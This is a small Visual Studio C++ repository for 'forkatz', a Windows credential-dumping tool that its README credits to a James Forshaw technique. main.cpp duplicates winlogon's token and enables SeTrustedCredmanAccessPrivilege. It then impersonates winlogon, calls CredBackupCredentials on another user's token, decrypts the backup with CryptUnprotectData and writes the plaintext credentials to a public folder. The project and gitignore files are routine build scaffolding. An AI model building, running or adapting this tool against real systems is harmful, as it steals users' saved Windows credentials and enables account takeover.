├── README.md
├── forkatz.filters
├── forkatz.sln
├── main.cpp
├── forkatz.vcxproj
└── .gitignore
/README.md:
--------------------------------------------------------------------------------
1 | # forkatz
2 | credential dump using forshaw technique using SeTrustedCredmanAccessPrivilege
3 |
4 | This code is based off of the blog post by james forshaw: https://www.tiraniddo.dev/2021/05/dumping-stored-credentials-with.html?m=1
5 |
--------------------------------------------------------------------------------
/forkatz.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/forkatz.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30517.126
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "forkatz", "forkatz.vcxproj", "{49FFEBC0-330A-4763-91FF-2568458E95F3}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {49FFEBC0-330A-4763-91FF-2568458E95F3}.Debug|x64.ActiveCfg = Debug|x64
17 | {49FFEBC0-330A-4763-91FF-2568458E95F3}.Debug|x64.Build.0 = Debug|x64
18 | {49FFEBC0-330A-4763-91FF-2568458E95F3}.Debug|x86.ActiveCfg = Debug|Win32
19 | {49FFEBC0-330A-4763-91FF-2568458E95F3}.Debug|x86.Build.0 = Debug|Win32
20 | {49FFEBC0-330A-4763-91FF-2568458E95F3}.Release|x64.ActiveCfg = Release|x64
21 | {49FFEBC0-330A-4763-91FF-2568458E95F3}.Release|x64.Build.0 = Release|x64
22 | {49FFEBC0-330A-4763-91FF-2568458E95F3}.Release|x86.ActiveCfg = Release|Win32
23 | {49FFEBC0-330A-4763-91FF-2568458E95F3}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {DCF7000B-5300-4FEB-B2A1-F731CE2F9234}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/main.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include // std::cout
5 | #include // std::ifstream
6 | #include
7 |
8 | #pragma comment(lib, "Crypt32.lib")
9 |
10 | typedef BOOL (WINAPI* CredBackupCredentials)(HANDLE Token,
11 | LPCWSTR Path,
12 | PVOID Password,
13 | DWORD PasswordSize,
14 | DWORD Flags);
15 |
16 |
17 | int main(int argc, char** argv)
18 | {
19 | int winlogonpid = 1452;
20 | int userpid = 3276;
21 |
22 | //if (argc != 3) {
23 | // printf("Usage: bin.exe winlogonpid userpid");
24 | // return 0;
25 | //}
26 | //else {
27 | // winlogonpid = atoi(argv[1]);
28 | // userpid = atoi(argv[2]);
29 | //}
30 |
31 | CredBackupCredentials pCredBackupCredentials = NULL;
32 | HMODULE hAdvapi = GetModuleHandleA("advapi32.dll");
33 | if (hAdvapi != NULL) {
34 | pCredBackupCredentials = (CredBackupCredentials)GetProcAddress(hAdvapi, "CredBackupCredentials");
35 | if (pCredBackupCredentials == NULL) {
36 | printf("not here\n");
37 | return 0;
38 | }
39 | }
40 | else {
41 | printf("advapi32.dll not loaded...TODO\n");
42 | return 0;
43 | }
44 |
45 | printf("opening winlog in process\n");
46 | HANDLE winlogin = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, winlogonpid);
47 | if (winlogin == NULL) {
48 | printf("Open winlogin process handle failed, %d\n", GetLastError());
49 | return 0;
50 | }
51 |
52 | printf("opening winlogin token\n");
53 | HANDLE winloginToken = NULL;
54 | BOOL ret = OpenProcessToken(winlogin, TOKEN_DUPLICATE, &winloginToken);
55 | if (ret == FALSE || winloginToken == NULL) {
56 | printf("Open winlogin process token handle failed, %d\n", GetLastError());
57 | return 0;
58 | }
59 |
60 | printf("duplicating winlogin token\n");
61 | HANDLE dupToken = NULL;
62 | ret = DuplicateTokenEx(winloginToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupToken);
63 | if (ret == FALSE || dupToken == NULL) {
64 | printf("duplicate winlogin process token failed, %d\n", GetLastError());
65 | return 0;
66 | }
67 |
68 | TOKEN_PRIVILEGES tp = { 0 };
69 | LUID luid = { 0 };
70 |
71 | ret = LookupPrivilegeValueA(NULL, "SeTrustedCredmanAccessPrivilege", &luid);
72 | if (ret == FALSE) {
73 | printf("[-] Couldn't lookup the privilege value. Error: 0x%x\n", GetLastError());
74 | return 0;
75 | }
76 |
77 | tp.PrivilegeCount = 1;
78 | tp.Privileges[0].Luid = luid;
79 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
80 |
81 | printf("Enabling SeTrustedCredmanAccessPrivilege to duplicate token\n");
82 | ret = AdjustTokenPrivileges(dupToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, NULL);
83 | if (ret == FALSE) {
84 | printf("AdjustTokenPrivileges failed %d\n", GetLastError());
85 | return 0;
86 | }
87 |
88 | printf("Getting user process\n");
89 | HANDLE userProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, userpid);
90 | if (userProc == NULL) {
91 | printf("couldnt get user process handle %d\n", GetLastError());
92 | return 0;
93 | }
94 |
95 | printf("Getting user token\n");
96 | HANDLE userToken = NULL;
97 | ret = OpenProcessToken(userProc, TOKEN_ALL_ACCESS, &userToken);
98 | if (ret == FALSE || userToken == NULL) {
99 | printf("opening current user token failed, %d\n", GetLastError());
100 | return 0;
101 | }
102 |
103 | printf("impersonating winlogin\n");
104 | ret = ImpersonateLoggedOnUser(dupToken);
105 | if (ret == FALSE) {
106 | printf("ImpersonateLoggedOnUser failed, %d\n", GetLastError());
107 | return 0;
108 | }
109 |
110 | printf("creating cred backup for user\n");
111 | ret = pCredBackupCredentials(userToken, (LPCWSTR)L"c:\\users\\public\\temp.bin", NULL, 0, NULL);
112 | if (ret == FALSE) {
113 | printf("CredBackupCredentials failed, %d\n", GetLastError());
114 | return 0;
115 | }
116 |
117 | std::ifstream file("c:\\users\\public\\temp.bin", std::ios::binary | std::ios::ate);
118 | std::streamsize size = file.tellg();
119 | file.seekg(0, std::ios::beg);
120 |
121 | DATA_BLOB DataOut = { 0 };
122 | DataOut.cbData = size;
123 | DataOut.pbData = (BYTE*)malloc(DataOut.cbData);
124 | file.read((char*)DataOut.pbData, DataOut.cbData);
125 |
126 | DATA_BLOB DataVerify = { 0 };
127 | LPWSTR pDescrOut = NULL;
128 |
129 | printf("decrypting data\n");
130 | ret = CryptUnprotectData(&DataOut, &pDescrOut, NULL, NULL, NULL, 0, &DataVerify);
131 | if (ret == FALSE) {
132 | printf("CredBackupCredentials failed, %d\n", GetLastError());
133 | return 0;
134 | }
135 |
136 | printf("reverting back to self\n");
137 | ret = RevertToSelf();
138 | if (ret == FALSE) {
139 | printf("RevertToSelf failed, %d\n", GetLastError());
140 | return 0;
141 | }
142 |
143 | std::ofstream myfile;
144 | myfile.open("c:\\users\\public\\example.bin");
145 | myfile.write((const char*)DataVerify.pbData, DataVerify.cbData);
146 | myfile.close();
147 |
148 | if (DataOut.pbData)
149 | free(DataOut.pbData);
150 |
151 | if (winlogin)
152 | CloseHandle(winlogin);
153 |
154 | if (winloginToken)
155 | CloseHandle(winloginToken);
156 |
157 | if (dupToken)
158 | CloseHandle(dupToken);
159 |
160 | if (userToken)
161 | CloseHandle(userToken);
162 |
163 | return 0;
164 | }
--------------------------------------------------------------------------------
/forkatz.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Release
10 | Win32
11 |
12 |
13 | Debug
14 | x64
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | 16.0
23 | Win32Proj
24 | {49ffebc0-330a-4763-91ff-2568458e95f3}
25 | foreshawkatz
26 | 10.0
27 |
28 |
29 |
30 | Application
31 | true
32 | v142
33 | Unicode
34 |
35 |
36 | Application
37 | false
38 | v142
39 | true
40 | Unicode
41 |
42 |
43 | Application
44 | true
45 | v142
46 | Unicode
47 |
48 |
49 | Application
50 | false
51 | v142
52 | true
53 | Unicode
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | true
75 |
76 |
77 | false
78 |
79 |
80 | true
81 |
82 |
83 | false
84 |
85 |
86 |
87 | Level3
88 | true
89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)
90 | true
91 |
92 |
93 | Console
94 | true
95 |
96 |
97 |
98 |
99 | Level3
100 | true
101 | true
102 | true
103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
104 | true
105 |
106 |
107 | Console
108 | true
109 | true
110 | true
111 |
112 |
113 |
114 |
115 | Level3
116 | true
117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions)
118 | true
119 |
120 |
121 | Console
122 | true
123 |
124 |
125 |
126 |
127 | Level3
128 | true
129 | true
130 | true
131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions)
132 | true
133 |
134 |
135 | Console
136 | true
137 | true
138 | true
139 |
140 |
141 |
142 |
143 |
144 |
145 |
146 |
147 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | ## Ignore Visual Studio temporary files, build results, and
2 | ## files generated by popular Visual Studio add-ons.
3 | ##
4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore
5 |
6 | # User-specific files
7 | *.rsuser
8 | *.suo
9 | *.user
10 | *.userosscache
11 | *.sln.docstates
12 |
13 | # User-specific files (MonoDevelop/Xamarin Studio)
14 | *.userprefs
15 |
16 | # Mono auto generated files
17 | mono_crash.*
18 |
19 | # Build results
20 | [Dd]ebug/
21 | [Dd]ebugPublic/
22 | [Rr]elease/
23 | [Rr]eleases/
24 | x64/
25 | x86/
26 | [Aa][Rr][Mm]/
27 | [Aa][Rr][Mm]64/
28 | bld/
29 | [Bb]in/
30 | [Oo]bj/
31 | [Ll]og/
32 | [Ll]ogs/
33 |
34 | # Visual Studio 2015/2017 cache/options directory
35 | .vs/
36 | # Uncomment if you have tasks that create the project's static files in wwwroot
37 | #wwwroot/
38 |
39 | # Visual Studio 2017 auto generated files
40 | Generated\ Files/
41 |
42 | # MSTest test Results
43 | [Tt]est[Rr]esult*/
44 | [Bb]uild[Ll]og.*
45 |
46 | # NUnit
47 | *.VisualState.xml
48 | TestResult.xml
49 | nunit-*.xml
50 |
51 | # Build Results of an ATL Project
52 | [Dd]ebugPS/
53 | [Rr]eleasePS/
54 | dlldata.c
55 |
56 | # Benchmark Results
57 | BenchmarkDotNet.Artifacts/
58 |
59 | # .NET Core
60 | project.lock.json
61 | project.fragment.lock.json
62 | artifacts/
63 |
64 | # StyleCop
65 | StyleCopReport.xml
66 |
67 | # Files built by Visual Studio
68 | *_i.c
69 | *_p.c
70 | *_h.h
71 | *.ilk
72 | *.meta
73 | *.obj
74 | *.iobj
75 | *.pch
76 | *.pdb
77 | *.ipdb
78 | *.pgc
79 | *.pgd
80 | *.rsp
81 | *.sbr
82 | *.tlb
83 | *.tli
84 | *.tlh
85 | *.tmp
86 | *.tmp_proj
87 | *_wpftmp.csproj
88 | *.log
89 | *.vspscc
90 | *.vssscc
91 | .builds
92 | *.pidb
93 | *.svclog
94 | *.scc
95 |
96 | # Chutzpah Test files
97 | _Chutzpah*
98 |
99 | # Visual C++ cache files
100 | ipch/
101 | *.aps
102 | *.ncb
103 | *.opendb
104 | *.opensdf
105 | *.sdf
106 | *.cachefile
107 | *.VC.db
108 | *.VC.VC.opendb
109 |
110 | # Visual Studio profiler
111 | *.psess
112 | *.vsp
113 | *.vspx
114 | *.sap
115 |
116 | # Visual Studio Trace Files
117 | *.e2e
118 |
119 | # TFS 2012 Local Workspace
120 | $tf/
121 |
122 | # Guidance Automation Toolkit
123 | *.gpState
124 |
125 | # ReSharper is a .NET coding add-in
126 | _ReSharper*/
127 | *.[Rr]e[Ss]harper
128 | *.DotSettings.user
129 |
130 | # TeamCity is a build add-in
131 | _TeamCity*
132 |
133 | # DotCover is a Code Coverage Tool
134 | *.dotCover
135 |
136 | # AxoCover is a Code Coverage Tool
137 | .axoCover/*
138 | !.axoCover/settings.json
139 |
140 | # Visual Studio code coverage results
141 | *.coverage
142 | *.coveragexml
143 |
144 | # NCrunch
145 | _NCrunch_*
146 | .*crunch*.local.xml
147 | nCrunchTemp_*
148 |
149 | # MightyMoose
150 | *.mm.*
151 | AutoTest.Net/
152 |
153 | # Web workbench (sass)
154 | .sass-cache/
155 |
156 | # Installshield output folder
157 | [Ee]xpress/
158 |
159 | # DocProject is a documentation generator add-in
160 | DocProject/buildhelp/
161 | DocProject/Help/*.HxT
162 | DocProject/Help/*.HxC
163 | DocProject/Help/*.hhc
164 | DocProject/Help/*.hhk
165 | DocProject/Help/*.hhp
166 | DocProject/Help/Html2
167 | DocProject/Help/html
168 |
169 | # Click-Once directory
170 | publish/
171 |
172 | # Publish Web Output
173 | *.[Pp]ublish.xml
174 | *.azurePubxml
175 | # Note: Comment the next line if you want to checkin your web deploy settings,
176 | # but database connection strings (with potential passwords) will be unencrypted
177 | *.pubxml
178 | *.publishproj
179 |
180 | # Microsoft Azure Web App publish settings. Comment the next line if you want to
181 | # checkin your Azure Web App publish settings, but sensitive information contained
182 | # in these scripts will be unencrypted
183 | PublishScripts/
184 |
185 | # NuGet Packages
186 | *.nupkg
187 | # NuGet Symbol Packages
188 | *.snupkg
189 | # The packages folder can be ignored because of Package Restore
190 | **/[Pp]ackages/*
191 | # except build/, which is used as an MSBuild target.
192 | !**/[Pp]ackages/build/
193 | # Uncomment if necessary however generally it will be regenerated when needed
194 | #!**/[Pp]ackages/repositories.config
195 | # NuGet v3's project.json files produces more ignorable files
196 | *.nuget.props
197 | *.nuget.targets
198 |
199 | # Microsoft Azure Build Output
200 | csx/
201 | *.build.csdef
202 |
203 | # Microsoft Azure Emulator
204 | ecf/
205 | rcf/
206 |
207 | # Windows Store app package directories and files
208 | AppPackages/
209 | BundleArtifacts/
210 | Package.StoreAssociation.xml
211 | _pkginfo.txt
212 | *.appx
213 | *.appxbundle
214 | *.appxupload
215 |
216 | # Visual Studio cache files
217 | # files ending in .cache can be ignored
218 | *.[Cc]ache
219 | # but keep track of directories ending in .cache
220 | !?*.[Cc]ache/
221 |
222 | # Others
223 | ClientBin/
224 | ~$*
225 | *~
226 | *.dbmdl
227 | *.dbproj.schemaview
228 | *.jfm
229 | *.pfx
230 | *.publishsettings
231 | orleans.codegen.cs
232 |
233 | # Including strong name files can present a security risk
234 | # (https://github.com/github/gitignore/pull/2483#issue-259490424)
235 | #*.snk
236 |
237 | # Since there are multiple workflows, uncomment next line to ignore bower_components
238 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)
239 | #bower_components/
240 |
241 | # RIA/Silverlight projects
242 | Generated_Code/
243 |
244 | # Backup & report files from converting an old project file
245 | # to a newer Visual Studio version. Backup files are not needed,
246 | # because we have git ;-)
247 | _UpgradeReport_Files/
248 | Backup*/
249 | UpgradeLog*.XML
250 | UpgradeLog*.htm
251 | ServiceFabricBackup/
252 | *.rptproj.bak
253 |
254 | # SQL Server files
255 | *.mdf
256 | *.ldf
257 | *.ndf
258 |
259 | # Business Intelligence projects
260 | *.rdl.data
261 | *.bim.layout
262 | *.bim_*.settings
263 | *.rptproj.rsuser
264 | *- [Bb]ackup.rdl
265 | *- [Bb]ackup ([0-9]).rdl
266 | *- [Bb]ackup ([0-9][0-9]).rdl
267 |
268 | # Microsoft Fakes
269 | FakesAssemblies/
270 |
271 | # GhostDoc plugin setting file
272 | *.GhostDoc.xml
273 |
274 | # Node.js Tools for Visual Studio
275 | .ntvs_analysis.dat
276 | node_modules/
277 |
278 | # Visual Studio 6 build log
279 | *.plg
280 |
281 | # Visual Studio 6 workspace options file
282 | *.opt
283 |
284 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.)
285 | *.vbw
286 |
287 | # Visual Studio LightSwitch build output
288 | **/*.HTMLClient/GeneratedArtifacts
289 | **/*.DesktopClient/GeneratedArtifacts
290 | **/*.DesktopClient/ModelManifest.xml
291 | **/*.Server/GeneratedArtifacts
292 | **/*.Server/ModelManifest.xml
293 | _Pvt_Extensions
294 |
295 | # Paket dependency manager
296 | .paket/paket.exe
297 | paket-files/
298 |
299 | # FAKE - F# Make
300 | .fake/
301 |
302 | # CodeRush personal settings
303 | .cr/personal
304 |
305 | # Python Tools for Visual Studio (PTVS)
306 | __pycache__/
307 | *.pyc
308 |
309 | # Cake - Uncomment if you are using it
310 | # tools/**
311 | # !tools/packages.config
312 |
313 | # Tabs Studio
314 | *.tss
315 |
316 | # Telerik's JustMock configuration file
317 | *.jmconfig
318 |
319 | # BizTalk build output
320 | *.btp.cs
321 | *.btm.cs
322 | *.odx.cs
323 | *.xsd.cs
324 |
325 | # OpenCover UI analysis results
326 | OpenCover/
327 |
328 | # Azure Stream Analytics local run output
329 | ASALocalRun/
330 |
331 | # MSBuild Binary and Structured Log
332 | *.binlog
333 |
334 | # NVidia Nsight GPU debugger configuration file
335 | *.nvuser
336 |
337 | # MFractors (Xamarin productivity tool) working folder
338 | .mfractor/
339 |
340 | # Local History for Visual Studio
341 | .localhistory/
342 |
343 | # BeatPulse healthcheck temp database
344 | healthchecksdb
345 |
346 | # Backup folder for Package Reference Convert tool in Visual Studio 2017
347 | MigrationBackup/
348 |
349 | # Ionide (cross platform F# VS Code tools) working folder
350 | .ionide/
351 |
--------------------------------------------------------------------------------